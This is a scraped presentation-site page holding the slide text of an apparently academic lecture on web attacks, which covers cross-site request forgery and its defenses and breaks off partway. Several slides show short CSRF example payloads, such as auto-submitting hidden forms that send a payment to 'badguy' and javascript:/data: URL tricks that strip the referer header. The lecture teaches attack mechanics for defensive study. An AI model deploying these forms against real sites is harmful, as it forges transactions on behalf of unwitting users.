onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/365006/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/365006/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/365006/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/365006/slide-0.jpg 1440w" class="slides-image related-itemImage"> Моделирование зависимостей между слоями</a></div><div class="related-item"><a href="/informatika/prilozhenie-taptable" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/283597/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/283597/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/283597/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/283597/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/283597/slide-0.jpg 1440w" class="slides-image related-itemImage"> Приложение TapTable</a></div><div class="related-item"><a href="/informatika/informatika-bazovye-ponyatiya-i-opredeleniya-lektsiya" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/603003/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/603003/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/603003/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/603003/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/603003/slide-0.jpg 1440w" class="slides-image related-itemImage"> Информатика. Базовые понятия и определения. Лекция 1</a></div><div class="related-item"><a href="/informatika/prezentatsiya-k-vneklassnomu-meropriyatiyu-po-informatike" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/490442/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/490442/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/490442/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/490442/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/490442/slide-0.jpg 1440w" class="slides-image related-itemImage"> Презентация к Внеклассному мероприятию по информатике Вредные Советы</a></div><div class="related-item"><a href="/informatika/kompyuterd-tarihy-krme-szder" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/215011/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/215011/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/215011/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/215011/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/215011/slide-0.jpg 1440w" class="slides-image related-itemImage"> Компьютердің тарихы. Кірме сөздер</a></div><div class="related-item"><a href="/informatika/faylovye-sistemy-1" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/264526/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/264526/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/264526/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/264526/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/264526/slide-0.jpg 1440w" class="slides-image related-itemImage"> Файловые системы</a></div><div class="related-item"><a href="/informatika/elektronnyy-katalog-nauchnoy-biblioteki-tgu-servisy" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/186557/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/186557/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/186557/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/186557/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/186557/slide-0.jpg 1440w" class="slides-image related-itemImage"> Электронный каталог. Научной библиотеки ТГУ. Сервисы для пользователя</a></div><div class="related-item"><a href="/informatika/algoritmizatsiya-i-programmirovanie-12" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/160306/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/160306/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/160306/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/160306/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/160306/slide-0.jpg 1440w" class="slides-image related-itemImage"> Алгоритмизация и программирование</a></div><div class="related-item"><a href="/informatika/elektronnaya-zachetnaya-knizhka-studenta-1" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/227552/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/227552/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/227552/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/227552/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/227552/slide-0.jpg 1440w" class="slides-image related-itemImage"> Электронная зачетная книжка студента</a></div><div class="related-item"><a href="/informatika/tipy-algoritmov-2" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/107811/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/107811/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/107811/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/107811/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/107811/slide-0.jpg 1440w" class="slides-image related-itemImage"> Типы алгоритмов</a></div><div class="related-item"><a href="/informatika/android-technology" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/203098/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/203098/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/203098/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/203098/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/203098/slide-0.jpg 1440w" class="slides-image related-itemImage"> Android technology</a></div><div class="related-item"><a href="/informatika/ek-lshemd-massivter-matritsalar" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/91811/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/91811/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/91811/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/91811/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/91811/slide-0.jpg 1440w" class="slides-image related-itemImage"> Екі өлшемді массивтер. Матрицалар</a></div><div class="related-item"><a href="/informatika/kodirovanie-informatsii-5-klass-3" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/261933/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/261933/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/261933/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/261933/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/261933/slide-0.jpg 1440w" class="slides-image related-itemImage"> Кодирование информации. (5 класс)</a></div><div class="related-item"><a href="/informatika/dinamicheskoe-programmirovanie-lektsiya-20" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/342203/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/342203/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/342203/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/342203/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/342203/slide-0.jpg 1440w" class="slides-image related-itemImage"> Динамическое программирование. Лекция 20</a></div><div class="related-item"><a href="/informatika/registratsiya-polzovatelya" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/586209/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/586209/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/586209/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/586209/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/586209/slide-0.jpg 1440w" class="slides-image related-itemImage"> Регистрация пользователя</a></div><div class="related-item"><a href="/informatika/shtrihovoe-kodirovanie-1" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/295670/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/295670/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/295670/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/295670/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/295670/slide-0.jpg 1440w" class="slides-image related-itemImage"> Штриховое кодирование</a></div><div class="related-item"><a href="/informatika/razbor-zadaniya-n14-ege-po-informatike" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/367829/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/367829/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/367829/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/367829/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/367829/slide-0.jpg 1440w" class="slides-image related-itemImage"> Разбор задания №14 ЕГЭ по информатике</a></div><!--]--></div></div></div></div><!--]--><!--]--><!--]--></div></div></main><footer class="footer"><div class="layout"><!----><div class="footer-contacts"><svg class="footer-contactsIcon" viewBox="0 0 27 26" xmlns="http://www.w3.org/2000/svg"><use xlink:href="/images/icons.svg#contacts"></use></svg> Обратная связь</div><!----><div class="footer-contactsEmail"> Email: <span class="footer-contactsShow">Нажмите что бы посмотреть</span></div></div></footer></div><!--]--></div><script>window.__NUXT__=(function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q){return {data:{meta:{result:{meta:{h1:n,main_text:a,main_title:o,main_description:p,main_keywords:q,main_image:a},app:{logo_image:r,logo_image_width:s,logo_image_height:t,logo_text:a,image_width_full:u,image_width_min:v,recaptcha_key:w,yandex_search:x,ya_context:e,banner_1:a,banner_2:a,banner_3:a,banner_4:a,banner_5:a,banner_6:a,banner_7:a,banner_8:a,banner_9:a,banner_10:a,email:y,footer_before:a,footer:a,dark_theme:e,strategy:{image_alt_words:j,item_slide_header:z,item_images:A,item_images_tag:h,item_words_h3:d,item_words_tag:h,item_words_1:k,routing:B,item_slide_skipping:C,item_download_timeout:D,item_slider_width:E,item_show_pdf:d,item_show_contents:d,item_show_filename:d},colors:{header_text:l,header_bg:i,accent:i}},social:F}},item:{result:{id:6613,name:m,category:G,count:112,jpg:"jpg\u002F6613",hits:95,download:b,h1:"Web Attacks: cross-site request forgery, SQL injection, cross-site scripting презентация",meta:{h1:m,title:m,description:"Web Attacks: cross-site request forgery, SQL injection, cross-site scripting презентация на тему, доклад, Информатика",keywords:"Web Attacks: cross-site request forgery, SQL injection, cross-site scripting, презентация, доклад, проект, скачать, на тему, PowerPoint, урок, класс, школа, Информатика",download_link:a},text:"Вы можете изучить и скачать доклад-презентацию на тему Презентация на тему Web Attacks: cross-site request forgery, SQL injection, cross-site scripting из раздела Информатика. Презентация на заданную тему содержит 112 слайдов. Для просмотра воспользуйтесь проигрывателем, если материал оказался полезным для Вас - поделитесь им с друзьями с помощью социальных кнопок и добавьте наш сайт презентаций в закладки!",seo_text:"\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EBig trend: software as a Web-based service\u003Cbr\u003EOnline banking, shopping, government, bill payment, tax prep, customer relationship management, etc.\u003Cbr\u003ECloud-hosted applications\u003Cbr\u003EApplication code split between client and server\u003Cbr\u003EClient (",file:"Web-Attacks:-cross-site-request-forgery,-SQL-injection,-cross-site-scripting.pptx",texts:["\u003Cp\u003EWeb Attacks:\r\n cross-site request forgery,\r\nSQL injection, cross-site scripting\r\n\u003Cbr\u003E\u003Cp\u003EVitaly Shmatikov\u003Cbr\u003E\u003Cp\u003ECS 6431\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EBig trend: software as a Web-based service\u003Cbr\u003EOnline banking, shopping, government, bill payment, tax prep, customer relationship management, etc.\u003Cbr\u003ECloud-hosted applications\u003Cbr\u003EApplication code split between client and server\u003Cbr\u003EClient (Web browser): JavaScript\u003Cbr\u003EServer: PHP, Ruby, Java, Perl, ASP …\u003Cbr\u003ESecurity is rarely the main concern\u003Cbr\u003EPoorly written scripts with inadequate input validation\u003Cbr\u003EInadequate protection of sensitive data\u003Cbr\u003E\u003Cp\u003EWeb Applications\u003Cbr\u003E","\u003Cp\u003ETop Web Vulnerabilities\u003Cbr\u003E\u003Cp\u003EXSRF (CSRF) - cross-site request forgery\u003Cbr\u003EBad website forces the user’s browser to send a request to a good website\u003Cbr\u003ESQL injection\u003Cbr\u003EMalicious data sent to a website is interpreted as code in a query to the website’s back-end database\u003Cbr\u003EXSS (CSS) – cross-site scripting\u003Cbr\u003EMalicious code injected into a trusted context (e.g., malicious data presented by a trusted website interpreted as code by the user’s browser)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ECookie-Based Authentication\u003Cbr\u003E\u003Cp\u003EServer\u003Cbr\u003E\u003Cp\u003EBrowser\u003Cbr\u003E\u003Cp\u003EPOST\u002Flogin.cgi\u003Cbr\u003E\u003Cp\u003ESet-cookie: authenticator\u003Cbr\u003E\u003Cp\u003EGET…\u003Cbr\u003ECookie: authenticator\u003Cbr\u003E\u003Cp\u003Eresponse\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EBrowser Sandbox Redux\u003Cbr\u003E\u003Cp\u003EBased on the same origin policy (SOP)\u003Cbr\u003EActive content (scripts) can send anywhere!\u003Cbr\u003EExcept for some ports such as SMTP\u003Cbr\u003ECan only read response from the same origin\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ECross-Site Request Forgery\u003Cbr\u003E\u003Cp\u003EUsers logs into bank.com, forgets to sign off\u003Cbr\u003ESession cookie remains in browser state\u003Cbr\u003EUser then visits a malicious website containing\u003Cbr\u003E \u003Cform name=BillPayForm\u003Cbr\u003E action=http:\u002F\u002Fbank.com\u002FBillPay.php\u003E\u003Cbr\u003E \u003Cinput name=recipient value=badguy\u003E …\u003Cbr\u003E \u003Cscript\u003E document.BillPayForm.submit(); \u003C\u002Fscript\u003E \u003Cbr\u003EBrowser sends cookie, payment request fulfilled!\u003Cbr\u003ECookie authentication is not sufficient when side effects can happen!\u003Cbr\u003E","\u003Cform method=\"POST\" action=\"http:\u002F\u002Fothersite.com\u002Ffile.cgi\" encoding=\"text\u002Fplain\"\u003E\u003Cbr\u003E\u003Cinput type=\"hidden\" name=“Hello world!\\n\\n2¥+2¥\" value=“4¥\"\u003E\u003Cbr\u003E\u003C\u002Fform\u003E\u003Cbr\u003E\u003Cscript\u003Edocument.forms[0].submit()\u003C\u002Fscript\u003E\u003Cbr\u003EHidden iframe can do this in the background\u003Cbr\u003EUser visits attacker’s page, it tells the browser to submit a malicious form on behalf of the user\u003Cbr\u003EHijack any ongoing session\u003Cbr\u003ENetflix: change account settings, Gmail: steal contacts\u003Cbr\u003EReprogram the user’s home router\u003Cbr\u003EMany other attacks possible\u003Cbr\u003E\u003Cp\u003Esubmit post\u003Cbr\u003E\u003Cp\u003ESending a Cross-Domain POST\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ECookie: SessionID=523FA4cd2E\u003Cbr\u003E\u003Cp\u003ECookies in Forged Requests\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EXSRF (aka CSRF): Summary\u003Cbr\u003E\u003Cp\u003EAttack server\u003Cbr\u003E\u003Cp\u003EServer victim \u003Cbr\u003E\u003Cp\u003EUser victim\u003Cbr\u003E\u003Cp\u003Eestablish session\u003Cbr\u003E\u003Cp\u003Esend forged request\u003Cbr\u003E\u003Cp\u003Evisit server\u003Cbr\u003E\u003Cp\u003Ereceive malicious page\u003Cbr\u003E\u003Cp\u003E1\u003Cbr\u003E\u003Cp\u003E2\u003Cbr\u003E\u003Cp\u003E3\u003Cbr\u003E\u003Cp\u003E4\u003Cbr\u003E\u003Cp\u003EQ: how long do you stay logged on to Gmail? Financial sites?\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EBad website\u003Cbr\u003E\u003Cp\u003EHome router\u003Cbr\u003E\u003Cp\u003EUser\u003Cbr\u003E\u003Cp\u003Econfigure router\u003Cbr\u003E\u003Cp\u003Esend forged request\u003Cbr\u003E\u003Cp\u003Evisit site\u003Cbr\u003E\u003Cp\u003Ereceive malicious page\u003Cbr\u003E\u003Cp\u003E1\u003Cbr\u003E\u003Cp\u003E2\u003Cbr\u003E\u003Cp\u003E3\u003Cbr\u003E\u003Cp\u003E4\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ERemember Drive-By Pharming?\u003Cbr\u003E","\u003Cp\u003EXSRF True Story (1)\u003Cbr\u003E\u003Cp\u003EUser has a Java stock ticker from his broker’s website running in his browser\u003Cbr\u003ETicker has a cookie to access user’s account on the site\u003Cbr\u003EA comment on a public message board on finance.yahoo.com points to “leaked news”\u003Cbr\u003ETinyURL redirects to cybervillians.com\u002Fnews.html\u003Cbr\u003EUser spends a minute reading a story, gets bored, leaves the news site\u003Cbr\u003EGets his monthly statement from the broker - $5,000 transferred out of his account!\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E","\u003Cp\u003EXSRF True Story (2)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E\u003Cp\u003EHidden iframes submitted forms that…\u003Cbr\u003E Changed user’s email notification settings\u003Cbr\u003E Linked a new checking account\u003Cbr\u003E Transferred out $5,000\u003Cbr\u003E Unlinked the account\u003Cbr\u003E Restored email notifications \u003Cbr\u003E","\u003Cp\u003EXSRF Defenses\u003Cbr\u003E\u003Cp\u003ESecret validation token\u003Cbr\u003E\u003Cbr\u003EReferer validation\u003Cbr\u003E\u003Cbr\u003ECustom HTTP header\u003Cbr\u003E\u003Cp\u003E\u003Cinput type=hidden value=23a3af01b\u003E\u003Cbr\u003E\u003Cp\u003EReferer: \u003Cbr\u003Ehttp:\u002F\u002Fwww.facebook.com\u002Fhome.php\u003Cbr\u003E\u003Cp\u003EX-Requested-By: XMLHttpRequest\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EAdd Secret Token to Forms\u003Cbr\u003E\u003Cp\u003EHash of user ID \u003Cbr\u003ECan be forged by attacker\u003Cbr\u003ESession ID\u003Cbr\u003EIf attacker has access to HTML or URL of the page (how?), can learn session ID and hijack the session\u003Cbr\u003ESession-independent nonce – Trac\u003Cbr\u003ECan be overwritten by subdomains, network attackers\u003Cbr\u003ENeed to bind session ID to the token\u003Cbr\u003ECSRFx, CSRFGuard - manage state table at the server\u003Cbr\u003EKeyed HMAC of session ID – no extra state!\u003Cbr\u003E\u003Cp\u003E\u003Cinput type=hidden value=23a3af01b\u003E\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ESecret Token: Example\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EReferer Validation\u003Cbr\u003E\u003Cp\u003ELenient referer checking – header is optional\u003Cbr\u003EStrict referer checking – header is required\u003Cbr\u003E\u003Cp\u003EReferer: \u003Cbr\u003Ehttp:\u002F\u002Fwww.facebook.com\u002Fhome.php\u003Cbr\u003E\u003Cp\u003EReferer: \u003Cbr\u003Ehttp:\u002F\u002Fwww.evil.com\u002Fattack.html\u003Cbr\u003E\u003Cp\u003EReferer: \u003Cbr\u003E\u003Cp\u003E✔\u003Cbr\u003E\u003Cp\u003E?\u003Cbr\u003E\u003Cp\u003E?\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EWhy Not Always Strict Checking?\u003Cbr\u003E\u003Cp\u003EWhy might the referer header be suppressed?\u003Cbr\u003EStripped by the organization’s network filter\u003Cbr\u003EFor example, http:\u002F\u002Fintranet.corp.apple.com\u002F projects\u002Fiphone\u002Fcompetitors.html\u003Cbr\u003EStripped by the local machine\u003Cbr\u003EStripped by the browser for HTTPS → HTTP transitions\u003Cbr\u003EUser preference in browser\u003Cbr\u003EBuggy browser\u003Cbr\u003EWeb applications can’t afford to block these users\u003Cbr\u003EReferer rarely suppressed over HTTPS\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EXSRF with Lenient Referer Checking\u003Cbr\u003E\u003Cp\u003E\thttp:\u002F\u002Fwww.attacker.com\u003Cbr\u003Eredirects to\u003Cbr\u003E\tftp:\u002F\u002Fwww.attacker.com\u002Findex.html\u003Cbr\u003E\tjavascript:\"\u003Cscript\u003E \u002F* XSRF *\u002F \u003C\u002Fscript\u003E\"\u003Cbr\u003E\tdata:text\u002Fhtml,\u003Cscript\u003E \u002F* XSRF *\u002F \u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cp\u003Ecommon browsers don’t send referer header\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ECustom Header\u003Cbr\u003E\u003Cp\u003EXMLHttpRequest is for same-origin requests\u003Cbr\u003EBrowser prevents sites from sending custom HTTP headers to other sites, but can send to themselves\u003Cbr\u003ECan use setRequestHeader within origin\u003Cbr\u003ELimitations on data export\u003Cbr\u003ENo setRequestHeader equivalent\u003Cbr\u003EXHR 2 has a whitelist for cross-site requests\u003Cbr\u003EPOST requests via AJAX\u003Cbr\u003ENo secrets required\u003Cbr\u003E\u003Cp\u003EX-Requested-By: XMLHttpRequest\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EBroader View of XSRF\u003Cbr\u003E\u003Cp\u003EAbuse of cross-site data export\u003Cbr\u003ESOP does not control data export\u003Cbr\u003EMalicious webpage can initiates requests from the user’s browser to an honest server\u003Cbr\u003EServer thinks requests are part of the established session between the browser and the server\u003Cbr\u003EMany reasons for XSRF attacks, not just “session riding”\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ELogin XSRF\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EReferer Header Helps, Right?\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ELaundering Referer Header\u003Cbr\u003E\u003Cp\u003Ereferer: http:\u002F\u002Fwww.siteA.com\u003Cbr\u003E\u003Cp\u003Ereferer: ??? (browser-dependent)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EsiteB\u003Cbr\u003E","\u003Cp\u003EXSRF Recommendations\u003Cbr\u003E\u003Cp\u003ELogin XSRF\u003Cbr\u003EStrict referer validation \u003Cbr\u003ELogin forms typically submitted over HTTPS, referer header not suppressed\u003Cbr\u003EHTTPS sites\u003Cbr\u003EStrict referer validation\u003Cbr\u003EOther sites\u003Cbr\u003EUse Ruby-on-Rails or other framework that implements secret token method correctly\u003Cbr\u003E\u003Cp\u003Eslide 